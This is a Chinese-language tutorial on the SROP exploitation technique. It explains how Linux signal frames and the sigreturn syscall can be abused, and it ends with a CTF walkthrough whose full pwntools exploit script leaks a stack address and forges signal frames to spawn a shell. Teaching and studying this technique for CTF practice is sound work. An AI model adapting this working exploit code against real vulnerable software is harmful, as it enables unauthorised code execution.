SROP¶
基本介紹¶
SROP(Sigreturn Oriented Programming)於2014年被Vrije Universiteit Amsterdam的Erik Bosman提出,其相關研究Framing Signals — A Return to Portable Shellcode
發表在安全頂級會議Oakland 2014上,被評選爲當年的Best Student Papers。其中相關的paper以及slides的鏈接如下:
其中,sigreturn
是一個系統調用,在類unix系統發生signal的時候會被間接地調用。
signal機制¶
signal機制是類unix系統中進程之間相互傳遞信息的一種方法。一般,我們也稱其爲軟中斷信號,或者軟中斷。比如說,進程之間可以通過系統調用kill來發送軟中斷信號。一般來說,信號機制常見的步驟如下圖所示:
-
內核向某個進程發送signal機制,該進程會被暫時掛起,進入內核態。
-
內核會爲該進程保存相應的上下文,主要是將所有寄存器壓入棧中,以及壓入signal信息,以及指向sigreturn的系統調用地址。此時棧的結構如下圖所示,我們稱ucontext以及siginfo這一段爲Signal Frame。需要注意的是,這一部分是在用戶進程的地址空間的。之後會跳轉到註冊過的signal handler中處理相應的signal。因此,當signal handler執行完之後,就會執行sigreturn代碼。
對於signal Frame來說,會因爲架構的不同而有所區別,這裏給出分別給出x86以及x64的sigcontext
- x86
struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };
- x64
struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
-
signal handler返回後,內核爲執行sigreturn系統調用,爲該進程恢復之前保存的上下文,其中包括將所有壓入的寄存器,重新pop回對應的寄存器,最後恢復進程的執行。其中,32位的sigreturn的調用號爲119(0x77),64位的系統調用號爲15(0xf)。
攻擊原理¶
仔細回顧一下內核在signal信號處理的過程中的工作,我們可以發現,內核主要做的工作就是爲進程保存上下文,並且恢復上下文。這個主要的變動都在Signal Frame中。但是需要注意的是:
- Signal Frame被保存在用戶的地址空間中,所以用戶是可以讀寫的。
- 由於內核與信號處理程序無關(kernel agnostic about signal handlers),它並不會去記錄這個signal對應的Signal Frame,所以當執行sigreturn系統調用時,此時的Signal Frame並不一定是之前內核爲用戶進程保存的Signal Frame。
說到這裏,其實,SROP的基本利用原理也就出現了。下面舉兩個簡單的例子。
獲取shell¶
首先,我們假設攻擊者可以控制用戶進程的棧,那麼它就可以僞造一個Signal Frame,如下圖所示,這裏以64位爲例子,給出Signal Frame更加詳細的信息
當系統執行完sigreturn系統調用之後,會執行一系列的pop指令以便於恢復相應寄存器的值,當執行到rip時,就會將程序執行流指向syscall地址,根據相應寄存器的值,此時,便會得到一個shell。
system call chains¶
需要指出的是,上面的例子中,我們只是單獨的獲得一個shell。有時候,我們可能會希望執行一系列的函數。我們只需要做兩處修改即可
- 控制棧指針。
- 把原來rip指向的
syscall
gadget換成syscall; ret
gadget。
如下圖所示 ,這樣當每次syscall返回的時候,棧指針都會指向下一個Signal Frame。因此就可以執行一系列的sigreturn函數調用。
後續¶
需要注意的是,我們在構造ROP攻擊的時候,需要滿足下面的條件
- 可以通過棧溢出來控制棧的內容
- 需要知道相應的地址
- "/bin/sh"
- Signal Frame
- syscall
- sigreturn
- 需要有夠大的空間來塞下整個sigal frame
此外,關於sigreturn以及syscall;ret這兩個gadget在上面並沒有提及。提出該攻擊的論文作者發現了這些gadgets出現的某些地址:
並且,作者發現,有些系統上SROP的地址被隨機化了,而有些則沒有。比如說Linux < 3.3 x86_64
(在Debian 7.0, Ubuntu Long Term Support, CentOS 6系統中默認內核),可以直接在vsyscall中的固定地址處找到syscall&return代碼片段。如下
但是目前它已經被vsyscall-emulate
和vdso
機制代替了。此外,目前大多數系統都會開啓ASLR保護,所以相對來說這些gadgets都並不容易找到。
值得一說的是,對於sigreturn系統調用來說,在64位系統中,sigreturn系統調用對應的系統調用號爲15,只需要RAX=15,並且執行syscall即可實現調用syscall調用。而RAX寄存器的值又可以通過控制某個函數的返回值來間接控制,比如說read函數的返回值爲讀取的字節數。
利用工具¶
值得一提的是,在目前的pwntools中已經集成了對於srop的攻擊。
示例¶
這裏以360春秋杯中的smallest-pwn爲例進行簡單介紹。基本步驟如下
確定文件基本信息
➜ smallest file smallest
smallest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
可以看到該程序爲64位靜態鏈接版本。
檢查保護
➜ smallest checksec smallest
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序主要開啓了NX保護。
漏洞發現
實用IDA直接反編譯看了一下,發現程序就幾行彙編代碼,如下
public start
start proc near
xor rax, rax
mov edx, 400h
mov rsi, rsp
mov rdi, rax
syscall
retn
start endp
根據syscall的編號爲0,可以知道該程序執行的指令爲read(0,$rsp,400),即向棧頂讀入400個字符。毫無疑問,這個是有棧溢出的。
利用思路
由於程序中並沒有sigreturn調用,所以我們得自己構造,正好這裏有read函數調用,所以我們可以通過read函數讀取的字節數來設置rax的值。重要思路如下
- 通過控制read讀取的字符數來設置RAX寄存器的值,從而執行sigreturn
- 通過syscall執行execve("/bin/sh",0,0)來獲取shell。
漏洞利用程序
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
sh = remote('127.0.0.1', 7777)
else:
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
sh.send(payload)
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))
## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)
## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()
其基本流程爲
- 讀取三個程序起始地址
- 程序返回時,利用第一個程序起始地址讀取地址,修改返回地址(即第二個程序起始地址)爲源程序的第二條指令,並且會設置rax=1
- 那麼此時將會執行write(1,$esp,0x400),泄露棧地址。
- 利用第三個程序起始地址進而讀入payload
- 再次讀取構造sigreturn調用,進而將向棧地址所在位置讀入數據,構造execve('/bin/sh',0,0)
- 再次讀取構造sigreturn調用,從而獲取shell。
題目¶
參考閱讀